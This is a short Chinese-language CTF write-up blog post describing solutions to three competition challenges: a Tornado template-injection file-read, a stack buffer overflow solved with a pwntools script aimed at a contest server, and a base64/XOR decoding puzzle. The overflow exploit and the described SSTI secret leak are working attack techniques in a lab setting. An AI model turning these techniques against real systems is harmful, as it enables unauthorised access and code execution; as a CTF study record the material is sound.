护网杯划水

题目没有截图。

WEB-easy tornado

三个文件,给了3个提示文件。综合起来看,主要是读文件,不过需要一个参数signature,根据给出的提示文件的URL,signature就是提示中产生的MD5。所以还需要一个cookie_secret,cookie里没有,应该是隐含在服务器里了。render()提示应该是一个SSTI漏洞。撸了一下flag文件,报错,URL里出现了模板符号,印证了想法。然后去翻tornado文档,主要看模板和配置。文档说当前的请求内容主要放在handler对象里,试出来了一个handler.settings暴露参数,cookie_secret。两个参数:file为文件名,signature带上算出转换后的MD5访问文件,得到flag。

PWN-gettingstart

用 IDA 打开程序,整个解题思路就已经明摆在面前了,溢出buf达到pwn的目的。
起shell的条件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)

作为静态调试工具,IDA能F5插件能解析出来的,都能在程序里找得到。v8的十进制值0.1就是qword_c10对应的16进制值。

主要覆盖的是v8,但波及到了v7,所以v7也要重写。相差0x18,也就是24。

from pwn import *

p = remote("49.4.78.31", 30482)
p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
p.interactive()

MISC-迟来的签到题

base64解码后异或

import base64

s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')

for n in range(127):
    flag=''
    for i in s[:4]:
        flag += ''.join(chr(i ^ n))
    if 'flag' in flag:
        for i in s[4:]:
            flag += ''.join(chr(i ^ n))
        print(n)
        print(flag)
posted @ 2018-10-14 14:33  B1u3Buf4  阅读(384)  评论(0编辑  收藏  举报